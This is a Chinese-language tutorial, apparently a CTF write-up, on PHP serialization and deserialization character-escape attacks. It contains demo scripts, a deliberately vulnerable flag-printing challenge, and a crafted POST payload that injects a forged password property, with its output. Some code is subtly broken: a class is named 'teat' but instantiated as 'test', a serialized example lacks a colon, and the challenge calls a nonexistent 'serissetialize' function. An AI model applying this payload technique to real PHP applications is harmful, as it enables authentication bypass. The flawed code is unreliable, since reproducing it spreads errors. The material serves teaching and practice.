序列化和反序列化
-
serialize():将对象转换成字符串
-
unserialize():将字符串转换成对象
-
str_replace():以其他字符替换字符串中的一些字符(区分大小写)
-
preg_replace():执行一个正则表达式的搜索和替换
-
特点:
- PHP在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾;并且根据长度判断内容 - 当序列化的长度不对应时会发生报错
- 可以反序列化类中不存在的元素
- PHP在反序列化时,底层代码是以
-
Object(O): O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
Boolean(b): b:value;(0或1)
double(d)
integer(i): i:value;
array(a): a:<length>:{key,keyvalue}
string(s): s:<length>:value;
null(N)
-
eg:
<?php class teat { public $a = "111"; public $b = "222"; } $test = new test; $data = serialize($test); echo $data; ?>
序列化结果:
O:4:"test":2{s:1:"a";s:3:"111";s:1:"b";s:3:"222";}
反序列化字符逃逸
-
本质:闭合
-
字符变多
直接套下面模板即可<?php //过滤函数 function filter($string) { $filter = '/p/i'; //正则匹配,表示变量string中的p(由filter决定)会被替换成WW return preg_replace($filter,'WW',$string); } $username = 'purplet'; $age = "20"; $user = array($username,$age);//数组 //序列化后的数值输出 var_dump(serialize($user)); echo "<pre>";//分隔符 //序列化过滤后的数值赋值给r并输出 $r = filter(serialize($user)); var_dump($r); //对 序列化过滤后的数值 反序列化 var_dump(unserialize($r)); ?>
-
字符变少
<?php //正则函数,将string中的pp替换为w function filter($string){ return str_replace('pp','W',$string); } $username = 'pppppppppppppppppppppppppp'; $age = 'A";i:1;s:2:"20";}'; $user = array($username,$age); //将user序列化然后输出 var_dump(serialize($user)); //分隔符 echo "<pre>"; $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r)); ?>
string(73) "a:2:{i:0;s:26:"pppppppppppppppppppppppppp";i:1;s:17:"A";i:1;s:2:"20";}";}" string(60) "a:2:{i:0;s:26:"WWWWWWWWWWWWW";i:1;s:17:"A";i:1;s:2:"20";}";}" array(2) { [0]=> string(26) "WWWWWWWWWWWWW";i:1;s:17:"A" [1]=> string(2) "20" }
-
漏洞利用
<?php include_once 'flag.php'; highlight_file(__FILE__);//高亮函数 // Security filtering function function filter($str){ //把str变量里的secure替换成secured return str_replace('secure', 'secured', $str); } class Hacker{ public $username = 'margin'; public $password = 'margin123'; } $h = new Hacker(); //isset()函数用于检测变量是否已设置并且非 NULL。 //如果post传参后的username和password都有值时 if (isset($_POST['username']) && isset($_POST['password'])){ // Security filtering //把传参的username的这赋给username,此时password的值仍是margin123 $h->username = $_POST['username']; //将h的值先序列化,再正则替换,然后反序列化,最后将值赋给c $c = unserialize(filter(serissetialize($h))); //如果c的password=hacker,则输出flag if ($c->password === 'hacker'){ echo $flag; } }
思路:想要输出flag,password的值就得为hacker;但是这里的可控变量只有username,所以要想办法构造一个值,使他最后的password=hacker,而且传参时,username和password都得有值才可执行。此时用post方式传参,将
username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=1
传给username
用以下代码验证一下<?php //过滤函数 function filter($string) { return str_replace('secure','secured',$string); } $username = 'securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}'; $password = 'a'; $user = array($username,$password);//数组 //序列化后的数值输出 var_dump(serialize($user)); echo "<pre>";//分隔符 //序列化过滤后的数值赋值给r并输出 $r = filter(serialize($user)); var_dump($r); //对 序列化过滤后的数值 反序列化 var_dump(unserialize($r)); ?>
最后的结果为
string(248) "a:2:{i:0;s:217:"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}";i:1;s:1:"a";}" string(279) "a:2:{i:0;s:217:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured";s:8:"password";s:6:"hacker";}";i:1;s:1:"a";}" array(2) { [0]=> string(217) "securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured" ["password"]=> string(6) "hacker" }